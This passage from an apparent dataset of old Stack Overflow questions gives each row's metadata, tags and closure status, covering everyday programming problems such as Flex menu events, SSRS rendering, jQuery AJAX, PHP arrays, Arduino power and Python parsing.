i go through the code several times but can not figure out the problem help required here is the code;
menuItems = [{label:"60 Minutes View" , type:"radio", toggled:"true"},{label:"30 Minutes View" , type:"radio"},{label:"20 Minutes View" , type:"radio"},{label:"15 Minutes View" , type:"radio"},{label:"10 Minutes View" , type:"radio"},{label:"6 Minutes View" , type:"radio"},{label:"5 Minutes View" , type:"radio"}];
menu = Menu.createMenu( parentInstance, menuItems, false );
menu.addEventListener(MenuEvent.ITEM_CLICK,menuClick);
protected function menuClick(evt:MenuEvent):void
{
Alert.show("here is " + evt.item + " 23");
switch (evt.label)
{
case "60 Minutes View":
this.ChangeLayout(60);
break;
case "30 Minutes View":
this.ChangeLayout(30);
break;
case "20 Minutes View":
this.ChangeLayout(30);
break;
case "15 Minutes View":
this.ChangeLayout(15);
break;
case "10 Minutes View":
this.ChangeLayout(10);
break;
case "6 Minutes View":
this.ChangeLayout(6);
break;
case "5 Minutes View":
this.ChangeLayout(5);
break;
default:
break;
}//end switch
}//end function
but is doesn't even capture the item click event . | 0 |
11,081,158 | 06/18/2012 10:41:18 | 1,424,054 | 05/29/2012 15:16:39 | 6 | 0 | ssrs object positioning changes after deployed | I have a normal tablix within the page width and height. Before my report was deployed I can see all my data just how I want it. However, IE8 and IE9 don't like it. I am running out of ideas. This also happens across my other reports. Notice after it's deployed the row sort of moved to the left forcing the value in the cell to be positioned elsewhere (top right).
I have checked the interactive page size, padding, empty spaces, visibility, different browsers (even worse). Nothing seemed to trigger that row to move abnormally. Any ideas of what caused it? I'm using ssrs 2008. Having said that, reports will behave expectedly when I print preview/print them.
[Before Deployed][2]
[After Deployed][1]
[1]: http://imageshack.us/photo/my-images/191/capture1jn.jpg/
[2]: http://imageshack.us/photo/my-images/406/capture2ic.jpg/ | object | reporting-services | position | render | null | 06/22/2012 11:54:02 | too localized | ssrs object positioning changes after deployed
===
I have a normal tablix within the page width and height. Before my report was deployed I can see all my data just how I want it. However, IE8 and IE9 don't like it. I am running out of ideas. This also happens across my other reports. Notice after it's deployed the row sort of moved to the left forcing the value in the cell to be positioned elsewhere (top right).
I have checked the interactive page size, padding, empty spaces, visibility, different browsers (even worse). Nothing seemed to trigger that row to move abnormally. Any ideas of what caused it? I'm using ssrs 2008. Having said that, reports will behave expectedly when I print preview/print them.
[Before Deployed][2]
[After Deployed][1]
[1]: http://imageshack.us/photo/my-images/191/capture1jn.jpg/
[2]: http://imageshack.us/photo/my-images/406/capture2ic.jpg/ | 3 |
7,642,075 | 10/04/2011 00:16:37 | 781,253 | 06/02/2011 14:00:35 | 3 | 1 | MVC3 Controller returning JsonFile | I am having a problem with a json result. When calling from the jquery it is returning a file to be saved instead of executing the success function. The get jquery request occurs in the document.ready function.
Any help would be appreciated.
public ActionResult Locations()
{
LocationsModel lm = new LocationsModel();
return Json(lm.getPins(), JsonRequestBehavior.AllowGet);
}
I have also tried:
public JsonResult Locations()
{
LocationsModel lm = new LocationsModel();
return Json(lm.getPins(), JsonRequestBehavior.AllowGet);
}
The jquery is as follows:
$.ajax({
type: "POST",
contentType: "application/json; charset=utf-8",
url: this.href,
data: "{}",
dataType: "json",
success: function (msg) { getPins_success(msg); },
error: OnError
});
Thanks,
Chris | jquery | asp.net-mvc-3 | jquery-ajax | null | null | 10/04/2011 18:52:43 | too localized | MVC3 Controller returning JsonFile
===
I am having a problem with a json result. When calling from the jquery it is returning a file to be saved instead of executing the success function. The get jquery request occurs in the document.ready function.
Any help would be appreciated.
public ActionResult Locations()
{
LocationsModel lm = new LocationsModel();
return Json(lm.getPins(), JsonRequestBehavior.AllowGet);
}
I have also tried:
public JsonResult Locations()
{
LocationsModel lm = new LocationsModel();
return Json(lm.getPins(), JsonRequestBehavior.AllowGet);
}
The jquery is as follows:
$.ajax({
type: "POST",
contentType: "application/json; charset=utf-8",
url: this.href,
data: "{}",
dataType: "json",
success: function (msg) { getPins_success(msg); },
error: OnError
});
Thanks,
Chris | 3 |
7,174,430 | 08/24/2011 11:06:44 | 752,603 | 05/13/2011 14:55:06 | 3 | 0 | ArrayObject class in PHP | Why just a few PHP array functions are available in ArrayObject class as method?
For example asort() is available but but walk() and much others are not.
$s= new ArrayObject(array(1,3,4,5,6,4));
$x= array_sum($s->getArrayCopy()); //works
$x= $s->sume; //not work
| php | arrays | class | php5 | null | 08/24/2011 12:28:32 | not constructive | ArrayObject class in PHP
===
Why just a few PHP array functions are available in ArrayObject class as method?
For example asort() is available but but walk() and much others are not.
$s= new ArrayObject(array(1,3,4,5,6,4));
$x= array_sum($s->getArrayCopy()); //works
$x= $s->sume; //not work
| 4 |
9,554,851 | 03/04/2012 12:27:28 | 1,248,059 | 03/04/2012 12:21:36 | 1 | 0 | Can a "utility" class suffice | In an app that does not require a database, is it better to use a utility class with a lot of static variables to hold pieces of information that need to be sent over and across or a file sitting on the computer will do? | c# | null | null | null | null | 03/04/2012 12:43:26 | not a real question | Can a "utility" class suffice
===
In an app that does not require a database, is it better to use a utility class with a lot of static variables to hold pieces of information that need to be sent over and across or a file sitting on the computer will do? | 1 |
10,339,896 | 04/26/2012 19:16:48 | 1,359,532 | 04/26/2012 19:07:55 | 1 | 0 | Maximum number of points between two parallel lines | I am given N+2 points with integer coordinates. 2 of them are base-points. Two parallel lines need to be drawn through the given base-points. What is the maximum number of points situated between the two parallel lines? Sorry for my english and thanks in advance! | c++ | parallel-processing | lines | points | null | 04/27/2012 05:20:53 | off topic | Maximum number of points between two parallel lines
===
I am given N+2 points with integer coordinates. 2 of them are base-points. Two parallel lines need to be drawn through the given base-points. What is the maximum number of points situated between the two parallel lines? Sorry for my english and thanks in advance! | 2 |
3,298,200 | 07/21/2010 10:21:10 | 168,464 | 09/04/2009 11:33:36 | 176 | 7 | Updating the UI based on the programmatic values in windows application. | I am having a windows application.I can select particular directory, the system has to give the list of files(count) under the directory and also it has to show the list of files that are parsed in a text box.
I have written the code to get the filecount as well as fies that are parsed . I am able to get the counts, but i am not able to assign those values to text box.
I don't know what is problem in that,
Can anyone please help me? | desktop-application | null | null | null | null | null | open | Updating the UI based on the programmatic values in windows application.
===
I am having a windows application.I can select particular directory, the system has to give the list of files(count) under the directory and also it has to show the list of files that are parsed in a text box.
I have written the code to get the filecount as well as fies that are parsed . I am able to get the counts, but i am not able to assign those values to text box.
I don't know what is problem in that,
Can anyone please help me? | 0 |
11,650,338 | 07/25/2012 13:02:13 | 595,234 | 01/29/2011 19:50:30 | 438 | 0 | easiest way to build a POC demo application | I need to do a POC (Proof of Concept) to a client, I want to build this demo with this requirements:
1. it can save, update, create and search object.
2. it can drag and drop, just like WYSIWYG HTML Editor
3. easy to set up .
4. easiness and efficiency is most important.
5. no need to think about those high-end tech, like transaction, audit ...
I am thinking C# windows form / ASP.NET , Java Swing / JSP.
What is your recommendation ?
Thanks | c# | java | null | null | null | 07/25/2012 13:08:17 | not a real question | easiest way to build a POC demo application
===
I need to do a POC (Proof of Concept) to a client, I want to build this demo with this requirements:
1. it can save, update, create and search object.
2. it can drag and drop, just like WYSIWYG HTML Editor
3. easy to set up .
4. easiness and efficiency is most important.
5. no need to think about those high-end tech, like transaction, audit ...
I am thinking C# windows form / ASP.NET , Java Swing / JSP.
What is your recommendation ?
Thanks | 1 |
6,936,721 | 08/04/2011 05:46:16 | 507,171 | 11/14/2010 04:54:49 | 11 | 0 | How do I control buttons using motions using OpenCV in c++? | I can get frames from my webcam using OpenCV in c++. I don't want human intervention to define the object. I want control buttons without human interraction and using hand motions.
thanks and regards. | c++ | opencv | openframeworks | null | null | 08/04/2011 23:22:41 | not a real question | How do I control buttons using motions using OpenCV in c++?
===
I can get frames from my webcam using OpenCV in c++. I don't want human intervention to define the object. I want control buttons without human interraction and using hand motions.
thanks and regards. | 1 |
11,383,233 | 07/08/2012 12:41:07 | 1,480,237 | 06/25/2012 14:09:29 | 5 | 0 | Store content in a buffer | Please, what is the function that allows me to store the contents of :
current.getChild ("C"). getContent (0)
in a table?
Thank you very much.
| xml | null | null | null | null | 07/08/2012 20:33:29 | not a real question | Store content in a buffer
===
Please, what is the function that allows me to store the contents of :
current.getChild ("C"). getContent (0)
in a table?
Thank you very much.
| 1 |
3,766,540 | 09/22/2010 05:25:26 | 438,158 | 09/02/2010 15:58:36 | 76 | 0 | Error on maximum number of Files . | is there any way to throw new exception on maxmium number of files in a directory ?
| c# | null | null | null | null | 09/22/2010 13:33:00 | not a real question | Error on maximum number of Files .
===
is there any way to throw new exception on maxmium number of files in a directory ?
| 1 |
4,755,240 | 01/21/2011 04:00:55 | 350,374 | 05/25/2010 21:56:12 | 177 | 46 | Generating more than one output file from a template | I am writing a custom template generator for my xml file. I was wondering if you guys can tell me a way I can generate more than one output file from the template under the same template.
The no of file should depend on the no of xml files I input
If I want to generate the c# class for a.xml I am doing something like this
<#= XmlToCsGenerator.Xml(this.Host.ResolvePath("a.xml")) #>
where my function XmlToCsGenerator.Xml(string path) returns the string to be written into the file.
Thanks in advance | c# | visual-studio | visual-studio-2010 | code-generation | t4 | null | open | Generating more than one output file from a template
===
I am writing a custom template generator for my xml file. I was wondering if you guys can tell me a way I can generate more than one output file from the template under the same template.
The no of file should depend on the no of xml files I input
If I want to generate the c# class for a.xml I am doing something like this
<#= XmlToCsGenerator.Xml(this.Host.ResolvePath("a.xml")) #>
where my function XmlToCsGenerator.Xml(string path) returns the string to be written into the file.
Thanks in advance | 0 |
5,103,632 | 02/24/2011 10:53:56 | 507,466 | 11/14/2010 16:48:23 | 225 | 23 | Algorithm for calculating number of petrol pumps in a city | can you all tell me what all data input should be required for this design question and after that which would be the best algorithm to crack this puzzle.you guys are most welcome to add suitable assumptions to the statment!!
> To calculate number of petrol pumps in
> a city.
Thanks in advance | algorithm | design | interview-questions | puzzle | null | 02/24/2011 12:41:50 | not a real question | Algorithm for calculating number of petrol pumps in a city
===
can you all tell me what all data input should be required for this design question and after that which would be the best algorithm to crack this puzzle.you guys are most welcome to add suitable assumptions to the statment!!
> To calculate number of petrol pumps in
> a city.
Thanks in advance | 1 |
5,473,732 | 03/29/2011 13:58:55 | 209,542 | 11/12/2009 12:04:17 | 339 | 5 | How to convert from 'cli::array<Type>^' to 'CDWordArray &' | My MFC code has a function:
**SelectItems('CDWordArray & awTop);**
I invoke this thorugh another CPP project, as :
**array< unsigned int >^ selectedItems;
DWORD cnt = m_handle->SelectItems(selectedItems);**
But i get error **"can not convert parameter 1 from 'cli::array<Type>^' to 'CDWordArray &' "**
Please let me know how can I solve this problem?
TIA,
Kapil | mfc | c++-cli | null | null | null | null | open | How to convert from 'cli::array<Type>^' to 'CDWordArray &'
===
My MFC code has a function:
**SelectItems('CDWordArray & awTop);**
I invoke this thorugh another CPP project, as :
**array< unsigned int >^ selectedItems;
DWORD cnt = m_handle->SelectItems(selectedItems);**
But i get error **"can not convert parameter 1 from 'cli::array<Type>^' to 'CDWordArray &' "**
Please let me know how can I solve this problem?
TIA,
Kapil | 0 |
7,380,262 | 09/11/2011 18:10:17 | 915,130 | 08/27/2011 04:35:41 | 1 | 0 | Multiple login in auth comoment in cake php? | How we maintain two session like as (admin & member) on same same browser on same time. | cakephp-1.3 | null | null | null | null | 09/12/2011 00:17:49 | not a real question | Multiple login in auth comoment in cake php?
===
How we maintain two session like as (admin & member) on same same browser on same time. | 1 |
10,702,401 | 05/22/2012 12:50:50 | 1,410,217 | 05/22/2012 12:34:50 | 1 | 0 | Android Application using Recess Rest Api | I have created a Recess Based Rest API and an Android Application which will request and get response from API.
I have implemented the listing view on Application
Now I want to add Comment or Update the record using Rest API
Please suggest me how to call the method of rest API and pass the parameter .
Thanks | android | rest | recess | null | null | 05/23/2012 12:40:48 | not a real question | Android Application using Recess Rest Api
===
I have created a Recess Based Rest API and an Android Application which will request and get response from API.
I have implemented the listing view on Application
Now I want to add Comment or Update the record using Rest API
Please suggest me how to call the method of rest API and pass the parameter .
Thanks | 1 |
7,477,582 | 09/19/2011 21:35:24 | 255,654 | 01/21/2010 09:53:47 | 1 | 0 | wp7 player freezes if html5 <video> and isolated storage | I have video file located in my application isolated storage and would like to play it from html using video tag. Video player runs and then hangs on "loading..". Can someone manage to get video played using html5 video tag and isolated storage?
My observations and tests (HTC HD7, Mango Beta 2 - 7.10.7712.60).
1. I can play this video file using MediaElement or MediaPlayerLauncher. So the file is correct.
2. If I publish this file in internet and change reference to absolute (src="http://absoluteUri.mp4") video file is opened correctly. So it seems there is a problem with relative path and isolated storage.
3. If i specify incorrect relative path I see another message so relative path in my experiments is correct.
4. audio html5 tag works with isolated storage files very well; video - doesn't (freezes) but works correct if I reference to audio file in internet
5. For "/folder/video.mp4" and "\folder\video.mp4" device opens different playback screens, but both freeze with 'loading' and 'opening' messages.
6. There is MediaPlayerLauncher C# class that works with "folder/video.mp4" name (doesn't freeze)and does not work with leading slash in path - "/folder/video.mp4" - throws file not found; contrariwise <video> tag can't find file w/o leading slash, even in root folder.
7. Playback screens triggered by MediaPlayerLauncher and html <video> tag look identical but in first case it works and in second it freezes. | windows-phone-7 | null | null | null | null | null | open | wp7 player freezes if html5 <video> and isolated storage
===
I have video file located in my application isolated storage and would like to play it from html using video tag. Video player runs and then hangs on "loading..". Can someone manage to get video played using html5 video tag and isolated storage?
My observations and tests (HTC HD7, Mango Beta 2 - 7.10.7712.60).
1. I can play this video file using MediaElement or MediaPlayerLauncher. So the file is correct.
2. If I publish this file in internet and change reference to absolute (src="http://absoluteUri.mp4") video file is opened correctly. So it seems there is a problem with relative path and isolated storage.
3. If i specify incorrect relative path I see another message so relative path in my experiments is correct.
4. audio html5 tag works with isolated storage files very well; video - doesn't (freezes) but works correct if I reference to audio file in internet
5. For "/folder/video.mp4" and "\folder\video.mp4" device opens different playback screens, but both freeze with 'loading' and 'opening' messages.
6. There is MediaPlayerLauncher C# class that works with "folder/video.mp4" name (doesn't freeze)and does not work with leading slash in path - "/folder/video.mp4" - throws file not found; contrariwise <video> tag can't find file w/o leading slash, even in root folder.
7. Playback screens triggered by MediaPlayerLauncher and html <video> tag look identical but in first case it works and in second it freezes. | 0 |
11,392,820 | 07/09/2012 10:00:25 | 1,511,624 | 07/09/2012 09:51:55 | 1 | 0 | Consume secured WSO2 web service "Sign and encrypt - X509 Authentication" with SOAPUI | I'm trying to invoke a WSO2 secured proxy service using the "Sign and encrypt - X509 Authentication" scenario.
I've configured a X509 certificate in WSO2 and everything looks fine for WSO2.
On the client side, I'm using SOAPUI 4.5.1.
I've followed several tutorials to get it work without success...
The laste error I'm getting is this one:
<faultstring>General security error (WSSecurityEngine: Callback supplied no password for: null); nested exception is:
javax.security.auth.callback.UnsupportedCallbackException</faultstring>
Don't know which password is null....
Is there something to develop on the server side?
The Soap request contains the timestamp, signature and the encryption part and it seems to be OK.
Any idea?
Thanks
Laurent
| soapui | wso2 | x509 | null | null | null | open | Consume secured WSO2 web service "Sign and encrypt - X509 Authentication" with SOAPUI
===
I'm trying to invoke a WSO2 secured proxy service using the "Sign and encrypt - X509 Authentication" scenario.
I've configured a X509 certificate in WSO2 and everything looks fine for WSO2.
On the client side, I'm using SOAPUI 4.5.1.
I've followed several tutorials to get it work without success...
The laste error I'm getting is this one:
<faultstring>General security error (WSSecurityEngine: Callback supplied no password for: null); nested exception is:
javax.security.auth.callback.UnsupportedCallbackException</faultstring>
Don't know which password is null....
Is there something to develop on the server side?
The Soap request contains the timestamp, signature and the encryption part and it seems to be OK.
Any idea?
Thanks
Laurent
| 0 |
10,562,303 | 05/12/2012 08:56:17 | 1,245,414 | 03/02/2012 15:34:51 | 17 | 0 | Arduino voltage regulator inquiry | I am working in a project that invloves arduino UNO + GSM shield. Due to communication bursts I need the current supplied to arduino+shield to be 2A.
I bought an adaptor in order to connect it to the DC socket of the arduino. However, I read a piece of info in a blog that says the **voltage regulator can handle up to 1A of current**. I searched for an official source that says that and didn't find one. I only found in the arduino playground that it can support up to 20V and usually the arduino board needs 0.5A. My Concern is that the high power may cause problems to the arduino board or the shield ?? I know that P = IV, therefore I think 20V*0.5A would be equal to 5V*2A.
Is connecting a 5V 2A adaptor to the DC socket of tha arduino UNO board a problem ???
if so ,Are there any alternatives to supply 2A? | arduino | null | null | null | null | 05/13/2012 05:45:53 | off topic | Arduino voltage regulator inquiry
===
I am working in a project that invloves arduino UNO + GSM shield. Due to communication bursts I need the current supplied to arduino+shield to be 2A.
I bought an adaptor in order to connect it to the DC socket of the arduino. However, I read a piece of info in a blog that says the **voltage regulator can handle up to 1A of current**. I searched for an official source that says that and didn't find one. I only found in the arduino playground that it can support up to 20V and usually the arduino board needs 0.5A. My Concern is that the high power may cause problems to the arduino board or the shield ?? I know that P = IV, therefore I think 20V*0.5A would be equal to 5V*2A.
Is connecting a 5V 2A adaptor to the DC socket of tha arduino UNO board a problem ???
if so ,Are there any alternatives to supply 2A? | 2 |
1,887,019 | 12/11/2009 10:01:08 | 183,246 | 10/02/2009 17:07:00 | 10 | 0 | iphone: send back string value with navigationcontroller pop | This may be very basic, but I just can`t figure out what to do, so thanks for any response...
I`m using a navigationcontroller and are currently on the second level in the stack. Here i set a string value and use popViewControllerAnimated to go back to first level in the stack.
What might be the best solution to use that string value from second level in the stack? I`ve tried to set a value in the first level manually in the second level, but I must be doing something wrong...
Thanks!
edit: I`m very new to both objective-c and C in general so i`m still a bit confused :( | iphone | stack | navigationcontroller | string | null | null | open | iphone: send back string value with navigationcontroller pop
===
This may be very basic, but I just can`t figure out what to do, so thanks for any response...
I`m using a navigationcontroller and are currently on the second level in the stack. Here i set a string value and use popViewControllerAnimated to go back to first level in the stack.
What might be the best solution to use that string value from second level in the stack? I`ve tried to set a value in the first level manually in the second level, but I must be doing something wrong...
Thanks!
edit: I`m very new to both objective-c and C in general so i`m still a bit confused :( | 0 |
2,896,517 | 05/24/2010 11:15:56 | 68,571 | 02/19/2009 19:03:31 | 806 | 17 | UINavigation controller problem | I'm developing an iPhone application and I'm trying to do this:
I want an application with tree views. The view shown first, doesn't have a navigation bar. If the user tap on a button, I need to open the second view with a navigation bar and a table view. The user can also add new items to the table view. If the user do so, the application will show the third view where the user can add fields (this view has also a navigation bar).
It may seem simple, but for me it is not. **I don't know how to use the UINavigationController** and have not found yet a similar example for what I do (paragraph translated by google).
How can I do that?
Thank you. | iphone | uitableview | uinavigationcontroller | null | null | null | open | UINavigation controller problem
===
I'm developing an iPhone application and I'm trying to do this:
I want an application with tree views. The view shown first, doesn't have a navigation bar. If the user tap on a button, I need to open the second view with a navigation bar and a table view. The user can also add new items to the table view. If the user do so, the application will show the third view where the user can add fields (this view has also a navigation bar).
It may seem simple, but for me it is not. **I don't know how to use the UINavigationController** and have not found yet a similar example for what I do (paragraph translated by google).
How can I do that?
Thank you. | 0 |
9,746,795 | 03/17/2012 02:41:47 | 1,055,664 | 11/19/2011 19:54:37 | 3 | 0 | Would you use JS MVC framework when using Phonegap and JQuery mobile? | I am using JQuery mobile to build a iOS Application using Phonegap 1.5. Since there are some components like header whiter are used on many views I wonder if I should use a template framework in JavaScript or not?
Does this slow my application down? And which one does work best with PHonegap and JQuery mobile? | javascript | frameworks | jquery-mobile | phonegap | null | null | open | Would you use JS MVC framework when using Phonegap and JQuery mobile?
===
I am using JQuery mobile to build a iOS Application using Phonegap 1.5. Since there are some components like header whiter are used on many views I wonder if I should use a template framework in JavaScript or not?
Does this slow my application down? And which one does work best with PHonegap and JQuery mobile? | 0 |
7,662,372 | 10/05/2011 13:52:27 | 667,847 | 03/20/2011 00:49:59 | 23 | 0 | Why do browsers use so much memory? | Firefox with 18 tabs open = 1.34GB of memory (~75MB/tab).
Got a reply on twitter from another local developer mentioning his Chrome instance was using ~82MB/tab.
What causes web browsers to consume that much memory? | memory | browser | null | null | null | 10/05/2011 13:58:00 | off topic | Why do browsers use so much memory?
===
Firefox with 18 tabs open = 1.34GB of memory (~75MB/tab).
Got a reply on twitter from another local developer mentioning his Chrome instance was using ~82MB/tab.
What causes web browsers to consume that much memory? | 2 |
1,775,572 | 11/21/2009 14:04:52 | 216,071 | 11/21/2009 13:12:50 | 1 | 0 | Moose: Expiring cached results of calculations when attribute values change? | In our classes we have a pattern where we create an attribute to represent a
calculated value. For obvious reasons we want to cache the calculated value
and then invalidate the cache when one of the underlying values change.
So we currently have this:
package FooBar;
use Moose;
has 'foo' => (
accessor => {
'foo' => sub {
my $self = shift;
if (@_ > 0) {
# writer
$self->{foo} = $_[0];
# reset fields that are dependant on me
$self->{bar} = undef;
}
# reader part;
return $self->{foo};
}
}
);
has 'bar' => (
accessor => {
'bar' => sub {
my $self = shift;
if (@_ > 0) {
# writer
$self->{bar} = $_[0];
}
# reader part;
$self->{bar} = calculate_bar($self->foo, $self->baz)
if (not defined($self->{bar}));
return $self->{bar};
}
}
);
sub calculate_bar { ... }
This long hand method is getting very tedious and error prone when calculated values
depend on other calculated values.
Is there a smarter/simpler way for 'bar' to monitor the attributes it depends on
vs having 'foo' know who is dependent on it? Also how can I avoid setting bar via hash
member access?
| perl | moose | null | null | null | null | open | Moose: Expiring cached results of calculations when attribute values change?
===
In our classes we have a pattern where we create an attribute to represent a
calculated value. For obvious reasons we want to cache the calculated value
and then invalidate the cache when one of the underlying values change.
So we currently have this:
package FooBar;
use Moose;
has 'foo' => (
accessor => {
'foo' => sub {
my $self = shift;
if (@_ > 0) {
# writer
$self->{foo} = $_[0];
# reset fields that are dependant on me
$self->{bar} = undef;
}
# reader part;
return $self->{foo};
}
}
);
has 'bar' => (
accessor => {
'bar' => sub {
my $self = shift;
if (@_ > 0) {
# writer
$self->{bar} = $_[0];
}
# reader part;
$self->{bar} = calculate_bar($self->foo, $self->baz)
if (not defined($self->{bar}));
return $self->{bar};
}
}
);
sub calculate_bar { ... }
This long hand method is getting very tedious and error prone when calculated values
depend on other calculated values.
Is there a smarter/simpler way for 'bar' to monitor the attributes it depends on
vs having 'foo' know who is dependent on it? Also how can I avoid setting bar via hash
member access?
| 0 |
4,894,057 | 02/04/2011 02:44:14 | 569,183 | 01/09/2011 22:33:46 | 558 | 39 | C, logs, binary, and the number four. they don't mix. | #include `<stdio.h>`
#include `<math.h>`
<pre>
/* converts to binary using logs */
int main()
{
long int decimalNUM = 0, binaryNUM = 0, exponentNUM = 0;
printf("Enter a number to be converted to binary.\t");
scanf("%ld", &decimalNUM);
fflush(stdin);
int origDEC = decimalNUM;
while (decimalNUM > 0)
{
exponentNUM = (log(decimalNUM))/(log(2));
binaryNUM += pow(10, exponentNUM);
decimalNUM -= pow(2, exponentNUM);
}
printf("\nBINARY FORM OF %ld is %ld", origDEC, binaryNUM);
getchar();
return binaryNUM;
}
</pre>
if STDIN is 4 it returns 99 and it should not. on IDEONE it returns 100...??!! | c | binary | int | long-integer | unsigned | null | open | C, logs, binary, and the number four. they don't mix.
===
#include `<stdio.h>`
#include `<math.h>`
<pre>
/* converts to binary using logs */
int main()
{
long int decimalNUM = 0, binaryNUM = 0, exponentNUM = 0;
printf("Enter a number to be converted to binary.\t");
scanf("%ld", &decimalNUM);
fflush(stdin);
int origDEC = decimalNUM;
while (decimalNUM > 0)
{
exponentNUM = (log(decimalNUM))/(log(2));
binaryNUM += pow(10, exponentNUM);
decimalNUM -= pow(2, exponentNUM);
}
printf("\nBINARY FORM OF %ld is %ld", origDEC, binaryNUM);
getchar();
return binaryNUM;
}
</pre>
if STDIN is 4 it returns 99 and it should not. on IDEONE it returns 100...??!! | 0 |
5,740,560 | 04/21/2011 06:48:50 | 266,726 | 02/05/2010 02:12:55 | 137 | 0 | Why HTML element's attribute "title" not been named "tooltip"? | i think 'tooltip' would be more appropriate | html | attributes | title | null | null | 04/21/2011 11:26:15 | off topic | Why HTML element's attribute "title" not been named "tooltip"?
===
i think 'tooltip' would be more appropriate | 2 |
6,395,366 | 06/18/2011 10:29:47 | 784,597 | 06/05/2011 09:07:37 | 21 | 0 | How to decide whether use IS A or HAS A Relation |
public class B {
public String getMe()
{
return "Some";
}
}
Assume that i have a above class , by which parameters should we decide what to use ?? Whether is a or Has a Relation ??
HAS - A
public class A {
public static void main(String args[])
{
B b = new B();
System.out.println(b.getMe());
}
}
or
public class A extends B
{
public static void main(String args[])
{
A b = new A();
System.out.println(b.getMe());
}
}
| java | null | null | null | null | null | open | How to decide whether use IS A or HAS A Relation
===
public class B {
public String getMe()
{
return "Some";
}
}
Assume that i have a above class , by which parameters should we decide what to use ?? Whether is a or Has a Relation ??
HAS - A
public class A {
public static void main(String args[])
{
B b = new B();
System.out.println(b.getMe());
}
}
or
public class A extends B
{
public static void main(String args[])
{
A b = new A();
System.out.println(b.getMe());
}
}
| 0 |
10,948,025 | 06/08/2012 11:32:08 | 642,897 | 03/03/2011 11:39:18 | 59 | 1 | Multiprocessing: AttributeError: StdIn instance has no attribute 'close' | I get this error with multiprocessing when looping a simple range.
Process PoolWorker-37:
Traceback (most recent call last):
File "/usr/lib/python2.7/multiprocessing/process.py", line 249, in _bootstrap
sys.stdin.close()
AttributeError: StdIn instance has no attribute 'close'
The code
pool = multiprocessing.Pool(processes=3)
pool.map(get_info, range(20000,20010), 1)
pool.close()
pool.join() | python | multiprocessing | null | null | null | null | open | Multiprocessing: AttributeError: StdIn instance has no attribute 'close'
===
I get this error with multiprocessing when looping a simple range.
Process PoolWorker-37:
Traceback (most recent call last):
File "/usr/lib/python2.7/multiprocessing/process.py", line 249, in _bootstrap
sys.stdin.close()
AttributeError: StdIn instance has no attribute 'close'
The code
pool = multiprocessing.Pool(processes=3)
pool.map(get_info, range(20000,20010), 1)
pool.close()
pool.join() | 0 |
11,023,530 | 06/13/2012 21:25:21 | 1,251,070 | 03/06/2012 00:22:50 | 13 | 0 | Python to list HTTP-files and directories | How can I list files and folders if I only have an IP-address. With urllib and others, I am only able to display the content of the index.html-file. But what if I want to see which files are in the root as well? I am looking for an example that shows how to implement username and password if needed. (Most of the time index.html is public, but sometimes the other files are not).
Thanks in advance!! | python | html | directory | ip-address | null | null | open | Python to list HTTP-files and directories
===
How can I list files and folders if I only have an IP-address. With urllib and others, I am only able to display the content of the index.html-file. But what if I want to see which files are in the root as well? I am looking for an example that shows how to implement username and password if needed. (Most of the time index.html is public, but sometimes the other files are not).
Thanks in advance!! | 0 |
11,115,353 | 06/20/2012 08:11:58 | 695,403 | 04/06/2011 18:10:52 | 1 | 0 | Android app and website | I have an idea about website and I want to build it, but I though that adding android app beside the website would be very helpful ... and I was wondering:
How to make that?
What programming languages should I use?
What kind of difficulties may I face?
I thought about web-service, but I don't know if this would work with me ... What do you think? | android | web-services | web | null | null | null | open | Android app and website
===
I have an idea about website and I want to build it, but I though that adding android app beside the website would be very helpful ... and I was wondering:
How to make that?
What programming languages should I use?
What kind of difficulties may I face?
I thought about web-service, but I don't know if this would work with me ... What do you think? | 0 |
9,986,093 | 04/03/2012 01:45:07 | 1,309,335 | 04/03/2012 01:22:27 | 1 | 0 | Python: reading text and assigning a class to data | I've been searching around, and had no luck finding anything answering my question.
Essentially I have a file with the following data:
>Title - 19<br/>
>Artist - Adele <br/>
>Year released - 2008<br/>
>1 - Daydreamer, 3:41, 1<br/>
>2 - Best for Last, 4:19, 5<br/>
>3 - Chasing Pavements, 3:31, 7<br/>
>4 - Cold Shoulder, 3:12, 3<br/>
>Title - El Camino <br/>
>Artist - The Black Keys <br/>
>Year released - 2011 <br/>
>1 - Lonely Boy, 3:13, 1 <br/>
>2 - Run Right Back, 3:17, 10 <br/>
>
>EOF <br/>
I know how to create classes, and how to assign an object to a class and values to that object, but I am just about ready to tear my hair out on how it is I'm supposed to process the text. From text, I need to create a title for the album, and assign the album's information to it. There's more else besides that needs to be done, and there are more lines to be read, and I just don't know where to start on this. I've found two "album.py" files via google, and I've been unable to make heads or tails of how to apply the solution to my case.
And yes, this is for a school assignment. I've done some digging around and found some things relevant, but I'm just not understanding it. I'm new to programming in general, and I've made progress but this seems too far over my head.
I know I could reduce this to lists using split (\n\n) and operating on a series of progressively smaller lists, but I am trying to avoid this method at all costs. | python | class | readfile | albums | null | null | open | Python: reading text and assigning a class to data
===
I've been searching around, and had no luck finding anything answering my question.
Essentially I have a file with the following data:
>Title - 19<br/>
>Artist - Adele <br/>
>Year released - 2008<br/>
>1 - Daydreamer, 3:41, 1<br/>
>2 - Best for Last, 4:19, 5<br/>
>3 - Chasing Pavements, 3:31, 7<br/>
>4 - Cold Shoulder, 3:12, 3<br/>
>Title - El Camino <br/>
>Artist - The Black Keys <br/>
>Year released - 2011 <br/>
>1 - Lonely Boy, 3:13, 1 <br/>
>2 - Run Right Back, 3:17, 10 <br/>
>
>EOF <br/>
I know how to create classes, and how to assign an object to a class and values to that object, but I am just about ready to tear my hair out on how it is I'm supposed to process the text. From text, I need to create a title for the album, and assign the album's information to it. There's more else besides that needs to be done, and there are more lines to be read, and I just don't know where to start on this. I've found two "album.py" files via google, and I've been unable to make heads or tails of how to apply the solution to my case.
And yes, this is for a school assignment. I've done some digging around and found some things relevant, but I'm just not understanding it. I'm new to programming in general, and I've made progress but this seems too far over my head.
I know I could reduce this to lists using split (\n\n) and operating on a series of progressively smaller lists, but I am trying to avoid this method at all costs. | 0 |
4,088,673 | 11/03/2010 15:26:08 | 496,101 | 11/03/2010 15:13:58 | 1 | 0 | How to limit or delete a log file on iPhone? | I've already created a .log file in my iPhone app. But I need to limit the size of the file, erase its contents and start again to log the app activity.
I follow the steps in this webpage: http://blog.coriolis.ch/2009/01/09/redirect-nslog-to-a-file-on-the-iphone/#more-85
Any help will be appreciated?
Thanks! | iphone | null | null | null | null | null | open | How to limit or delete a log file on iPhone?
===
I've already created a .log file in my iPhone app. But I need to limit the size of the file, erase its contents and start again to log the app activity.
I follow the steps in this webpage: http://blog.coriolis.ch/2009/01/09/redirect-nslog-to-a-file-on-the-iphone/#more-85
Any help will be appreciated?
Thanks! | 0 |
